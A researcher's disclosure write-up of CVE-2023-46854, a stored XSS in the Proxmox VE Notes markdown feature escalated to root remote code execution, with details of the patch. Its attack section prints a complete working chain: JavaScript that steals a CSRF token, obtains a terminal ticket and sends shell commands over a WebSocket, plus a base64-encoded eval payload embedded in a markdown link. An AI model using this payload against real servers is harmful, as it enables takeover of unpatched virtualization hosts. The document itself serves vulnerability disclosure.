[CVE-2023-46854] Stored XSS to Remote Code Execution in Proxmox Virtual Environment (1-click RCE)

·

6 min read

Background

Proxmox Virtual Environment is a complete open-source platform for enterprise virtualization. With the built-in web interface written in Perl, you can easily manage VMs and containers, software-defined storage and networking, high-availability clustering, and multiple out-of-the-box tools using a single solution.

Within this article, my focus will be on dissecting a vulnerability recently discovered in the Proxmox Virtual Environment. It's worth noting that this vulnerability extends to impact the Proxmox Backup Server as well, although it demands elevated privileges for exploitation, making it comparatively less concerning.

Stored XSS at the Note function

After setting the Proxmox Virtual Environment, a prompt shows that you can set up your server via a web interface.

Logging into the web interface, we can see that the server has a Notes function, used to take notes for a Datacenter, or nodes and virtual machines within it. When performing black box pen-testing, it becomes imperative to investigate the resilience of this function against common vulnerabilities, such as Cross-Site Scripting (XSS).

Evidently, the analysis reveals that this function is susceptible to XSS, despite the presence of user input filtering mechanisms that attempt to filter out common HTML tags. In addition to this, it's noteworthy that the function supports markdown. Considering this, it seems plausible to explore the potential for XSS through a markdown payload, thereby examining if such an approach could exploit vulnerabilities in this context.

By utilizing the markdown payload [Click me](javascript:alert('MarkDown')), a crafted hyperlink is created with an href attribute containing a JavaScript code snippet. In this scenario, when a user interacts with the link by clicking on it, the embedded JavaScript code alert('MarkDown') will be executed. This method cleverly leverages the markdown functionality to inject and execute JavaScript code through a seemingly harmless link, highlighting a potential security vulnerability in the system.

It appears that the proxmoxlib.js lacks proper input validation for the href attribute within the a tag. A closer examination of the commit changes prior to the fix suggests that the system permitted any valid URL during the markdown conversion process. This oversight allowed the inclusion of potentially malicious JavaScript code in the href attribute, leading to a security vulnerability.

Before the fix.

After the fix.

Impacts, attack conditions & constraints

The presence of the confirmed vulnerability now propels us into the critical phase of constructing an attack scenario with the utmost severity.

The attacker needs at least two permissions VM.Config.Options and VM.Audit on a machine to be able to use the "Notes" function.

In this context, several scenarios could unfold. One potential scenario involves the attacker crafting notes equipped with payloads, aiming to hijack the cookies of any logged-in user who interacts with the payload. Alternatively, the threat actor might seek to establish control between nodes or virtual machines within the system. Here, I will delve into the analysis of the scenario that poses the most significant impact, taking control of the entire Datacenter.

With the highest permissions, the root user can directly open a console through xterm.js to remotely execute code on the Datacenter with Shell functionality.

Observing the request flow on Burp Suite, we see 3 requests as follows:

The initial request involves obtaining the endpoint to call the xtermjs screen within the Shell function. Following that, the second request entails acquiring the endpoint for retrieving the VNC ticket, which is crucial for authenticating with the socket service on port 5900. Lastly, the third request involves establishing a WebSocket connection to serve as a platform for remote code execution services. To reproduce this request flow, we need to develop a JavaScript payload.

In JavaScript, we can use Async/Await to define asynchronous functions. Since all commit requests incorporate tokens as a safeguard against CSRF vulnerabilities, the initial step is to define a getCSRF function. This function will facilitate the first request, extracting a valid CSRF token from the response for subsequent requests. The syntax is as follows.

const getCSRF = async () => {
    const response = await fetch('/?console=shell&node=pve&resize=scale&xtermjs=1', {
        method: 'GET'
    });
    const body = await response.text();
    csrf_token = body.match(/PVE\.CSRFPreventionToken = '(.*?)';/)[1]
    console.log(csrf_token);
    return csrf_token;
};

Following the initial step, the getTicketInfo function will send a POST request to the endpoint /api2/json/nodes/pve/termproxy, incorporating the CSRF token acquired from the preceding request. This request aims to retrieve a ticket essential for authenticating the WebSocket in the subsequent step. As the response is formatted in JSON, extracting the ticket becomes straightforward. The syntax is as follows.

const getTicketInfo = async (csrf_token) => {
    const rawResponse = await fetch('/api2/json/nodes/pve/termproxy', {
        method: 'POST',
        headers: {
            'Accept': '*/*',
            'Content-Type': 'application/x-www-form-urlencoded',
            'Csrfpreventiontoken': csrf_token
        },
    });
    const result = await rawResponse.json();
    return result;
};

Subsequently, this function will establish a connection with the WebSocket endpoint designated for remote code execution. The ticket obtained in the preceding request will serve as the authentication credential. Depending on the protocol, WebSocket connections can be either WSS (Secure WebSocket) for HTTPS or WS (WebSocket) for HTTP. The syntax is as follows.

const startConnection = async (result) => {
    var port = encodeURIComponent(result.data.port);
    ticket = result.data.ticket;
    url = "/nodes/pve"
    protocol = (location.protocol === 'https:') ? 'wss://' : 'ws://';
    socketURL = protocol + location.hostname + ((location.port) ? (':' + location.port) : '') + '/api2/json' + url + '/vncwebsocket?port=' + port + '&vncticket=' + encodeURIComponent(ticket);
    socket = new WebSocket(socketURL, 'binary');
    return socket;
};

After successfully establishing the connection, the final function will be used to execute remote code via WebSocket. The syntax is as follows.

const sendCommand = async (socket) => {
    socket.binaryType = 'arraybuffer';
    command = "echo 'pwned' > /tmp/pwned.txt\n";
    socket.onopen = (event) => {
        socket.send('root@pam' + ':' + ticket + "\n");
        socket.send("0:" + unescape(encodeURIComponent(command)).length.toString() + ":" + command);
    };
};

Declare a variable to exploit to sequentially execute all these above functions.

const exploit = getCSRF().then(csrf_token => getTicketInfo(csrf_token)).then(content => startConnection(content)).then(socket => sendCommand(socket));

Combine all of these above JavaScript functions and base 64 encode them.

Y29uc3QgZ2V0Q1NSRiA9IGFzeW5jICgpID0+IHsKICAgIGNvbnN0IHJlc3BvbnNlID0gYXdhaXQgZmV0Y2goJy8/Y29uc29sZT1zaGVsbCZub2RlPXB2ZSZyZXNpemU9c2NhbGUmeHRlcm1qcz0xJywgewogICAgICAgIG1ldGhvZDogJ0dFVCcKICAgIH0pOwogICAgY29uc3QgYm9keSA9IGF3YWl0IHJlc3BvbnNlLnRleHQoKTsKICAgIGNzcmZfdG9rZW4gPSBib2R5Lm1hdGNoKC9QVkVcLkNTUkZQcmV2ZW50aW9uVG9rZW4gPSAnKC4qPyknOy8pWzFdCiAgICBjb25zb2xlLmxvZyhjc3JmX3Rva2VuKTsKICAgIHJldHVybiBjc3JmX3Rva2VuOwp9OwoKY29uc3QgZ2V0VGlja2V0SW5mbyA9IGFzeW5jIChjc3JmX3Rva2VuKSA9PiB7CiAgICBjb25zdCByYXdSZXNwb25zZSA9IGF3YWl0IGZldGNoKCcvYXBpMi9qc29uL25vZGVzL3B2ZS90ZXJtcHJveHknLCB7CiAgICAgICAgbWV0aG9kOiAnUE9TVCcsCiAgICAgICAgaGVhZGVyczogewogICAgICAgICAgICAnQWNjZXB0JzogJyovKicsCiAgICAgICAgICAgICdDb250ZW50LVR5cGUnOiAnYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkJywKICAgICAgICAgICAgJ0NzcmZwcmV2ZW50aW9udG9rZW4nOiBjc3JmX3Rva2VuCiAgICAgICAgfSwKICAgIH0pOwogICAgY29uc3QgcmVzdWx0ID0gYXdhaXQgcmF3UmVzcG9uc2UuanNvbigpOwogICAgcmV0dXJuIHJlc3VsdDsKfTsKCmNvbnN0IHN0YXJ0Q29ubmVjdGlvbiA9IGFzeW5jIChyZXN1bHQpID0+IHsKICAgIHZhciBwb3J0ID0gZW5jb2RlVVJJQ29tcG9uZW50KHJlc3VsdC5kYXRhLnBvcnQpOwogICAgdGlja2V0ID0gcmVzdWx0LmRhdGEudGlja2V0OwogICAgdXJsID0gIi9ub2Rlcy9wdmUiCiAgICBwcm90b2NvbCA9IChsb2NhdGlvbi5wcm90b2NvbCA9PT0gJ2h0dHBzOicpID8gJ3dzczovLycgOiAnd3M6Ly8nOwogICAgc29ja2V0VVJMID0gcHJvdG9jb2wgKyBsb2NhdGlvbi5ob3N0bmFtZSArICgobG9jYXRpb24ucG9ydCkgPyAoJzonICsgbG9jYXRpb24ucG9ydCkgOiAnJykgKyAnL2FwaTIvanNvbicgKyB1cmwgKyAnL3ZuY3dlYnNvY2tldD9wb3J0PScgKyBwb3J0ICsgJyZ2bmN0aWNrZXQ9JyArIGVuY29kZVVSSUNvbXBvbmVudCh0aWNrZXQpOwogICAgc29ja2V0ID0gbmV3IFdlYlNvY2tldChzb2NrZXRVUkwsICdiaW5hcnknKTsKICAgIHJldHVybiBzb2NrZXQ7Cn07Cgpjb25zdCBzZW5kQ29tbWFuZCA9IGFzeW5jIChzb2NrZXQpID0+IHsKICAgIHNvY2tldC5iaW5hcnlUeXBlID0gJ2FycmF5YnVmZmVyJzsKICAgIGNvbW1hbmQgPSAiZWNobyAncHduZWQnID4gL3RtcC9wd25lZC50eHRcbiI7CiAgICBzb2NrZXQub25vcGVuID0gKGV2ZW50KSA9PiB7CiAgICAgICAgc29ja2V0LnNlbmQoJ3Jvb3RAcGFtJyArICc6JyArIHRpY2tldCArICJcbiIpOwogICAgICAgIHNvY2tldC5zZW5kKCIwOiIgKyB1bmVzY2FwZShlbmNvZGVVUklDb21wb25lbnQoY29tbWFuZCkpLmxlbmd0aC50b1N0cmluZygpICsgIjoiICsgY29tbWFuZCk7CiAgICB9Owp9OwoKY29uc3QgZXhwbG9pdCA9IGdldENTUkYoKS50aGVuKGNzcmZfdG9rZW4gPT4gZ2V0VGlja2V0SW5mbyhjc3JmX3Rva2VuKSkudGhlbihjb250ZW50ID0+IHN0YXJ0Q29ubmVjdGlvbihjb250ZW50KSkudGhlbihzb2NrZXQgPT4gc2VuZENvbW1hbmQoc29ja2V0KSk7

In the Notes function, the attacker intends to embed a payload structured as follows, using the atob function to decode the base64-encoded JavaScript code, followed by utilizing the eval function to execute the JavaScript code after it has been decoded.

This VM is insane. [Click here for details](javascript:eval(atob('Y29uc3QgZ2V0Q1NSRiA9IGFzeW5jICgpID0+IHsKICAgIGNvbnN0IHJlc3BvbnNlID0gYXdhaXQgZmV0Y2goJy8/Y29uc29sZT1zaGVsbCZub2RlPXB2ZSZyZXNpemU9c2NhbGUmeHRlcm1qcz0xJywgewogICAgICAgIG1ldGhvZDogJ0dFVCcKICAgIH0pOwogICAgY29uc3QgYm9keSA9IGF3YWl0IHJlc3BvbnNlLnRleHQoKTsKICAgIGNzcmZfdG9rZW4gPSBib2R5Lm1hdGNoKC9QVkVcLkNTUkZQcmV2ZW50aW9uVG9rZW4gPSAnKC4qPyknOy8pWzFdCiAgICBjb25zb2xlLmxvZyhjc3JmX3Rva2VuKTsKICAgIHJldHVybiBjc3JmX3Rva2VuOwp9OwoKY29uc3QgZ2V0VGlja2V0SW5mbyA9IGFzeW5jIChjc3JmX3Rva2VuKSA9PiB7CiAgICBjb25zdCByYXdSZXNwb25zZSA9IGF3YWl0IGZldGNoKCcvYXBpMi9qc29uL25vZGVzL3B2ZS90ZXJtcHJveHknLCB7CiAgICAgICAgbWV0aG9kOiAnUE9TVCcsCiAgICAgICAgaGVhZGVyczogewogICAgICAgICAgICAnQWNjZXB0JzogJyovKicsCiAgICAgICAgICAgICdDb250ZW50LVR5cGUnOiAnYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkJywKICAgICAgICAgICAgJ0NzcmZwcmV2ZW50aW9udG9rZW4nOiBjc3JmX3Rva2VuCiAgICAgICAgfSwKICAgIH0pOwogICAgY29uc3QgcmVzdWx0ID0gYXdhaXQgcmF3UmVzcG9uc2UuanNvbigpOwogICAgcmV0dXJuIHJlc3VsdDsKfTsKCmNvbnN0IHN0YXJ0Q29ubmVjdGlvbiA9IGFzeW5jIChyZXN1bHQpID0+IHsKICAgIHZhciBwb3J0ID0gZW5jb2RlVVJJQ29tcG9uZW50KHJlc3VsdC5kYXRhLnBvcnQpOwogICAgdGlja2V0ID0gcmVzdWx0LmRhdGEudGlja2V0OwogICAgdXJsID0gIi9ub2Rlcy9wdmUiCiAgICBwcm90b2NvbCA9IChsb2NhdGlvbi5wcm90b2NvbCA9PT0gJ2h0dHBzOicpID8gJ3dzczovLycgOiAnd3M6Ly8nOwogICAgc29ja2V0VVJMID0gcHJvdG9jb2wgKyBsb2NhdGlvbi5ob3N0bmFtZSArICgobG9jYXRpb24ucG9ydCkgPyAoJzonICsgbG9jYXRpb24ucG9ydCkgOiAnJykgKyAnL2FwaTIvanNvbicgKyB1cmwgKyAnL3ZuY3dlYnNvY2tldD9wb3J0PScgKyBwb3J0ICsgJyZ2bmN0aWNrZXQ9JyArIGVuY29kZVVSSUNvbXBvbmVudCh0aWNrZXQpOwogICAgc29ja2V0ID0gbmV3IFdlYlNvY2tldChzb2NrZXRVUkwsICdiaW5hcnknKTsKICAgIHJldHVybiBzb2NrZXQ7Cn07Cgpjb25zdCBzZW5kQ29tbWFuZCA9IGFzeW5jIChzb2NrZXQpID0+IHsKICAgIHNvY2tldC5iaW5hcnlUeXBlID0gJ2FycmF5YnVmZmVyJzsKICAgIGNvbW1hbmQgPSAiZWNobyAncHduZWQnID4gL3RtcC9wd25lZC50eHRcbiI7CiAgICBzb2NrZXQub25vcGVuID0gKGV2ZW50KSA9PiB7CiAgICAgICAgc29ja2V0LnNlbmQoJ3Jvb3RAcGFtJyArICc6JyArIHRpY2tldCArICJcbiIpOwogICAgICAgIHNvY2tldC5zZW5kKCIwOiIgKyB1bmVzY2FwZShlbmNvZGVVUklDb21wb25lbnQoY29tbWFuZCkpLmxlbmd0aC50b1N0cmluZygpICsgIjoiICsgY29tbWFuZCk7CiAgICB9Owp9OwoKY29uc3QgZXhwbG9pdCA9IGdldENTUkYoKS50aGVuKGNzcmZfdG9rZW4gPT4gZ2V0VGlja2V0SW5mbyhjc3JmX3Rva2VuKSkudGhlbihjb250ZW50ID0+IHN0YXJ0Q29ubmVjdGlvbihjb250ZW50KSkudGhlbihzb2NrZXQgPT4gc2VuZENvbW1hbmQoc29ja2V0KSk7')))

When the root user clicks on the above payload, a file pwned.txt will be created in the directory /tmp proving that it's working.

Proof of concept

Patch

The issue has been present since commit 5cbbb9c, which was shipped with proxmox-widget-toolkit version 4.0.2, first available with their Debian 12 Bookworm-based releases (Proxmox VE 8.0 and Proxmox Backup Server 3.0)

They shipped a fix to proxmox-widget-toolkit version 4.0.9, currently available through their testing repos.

MITRE assigned CVE-2023-46854 for this vulnerability.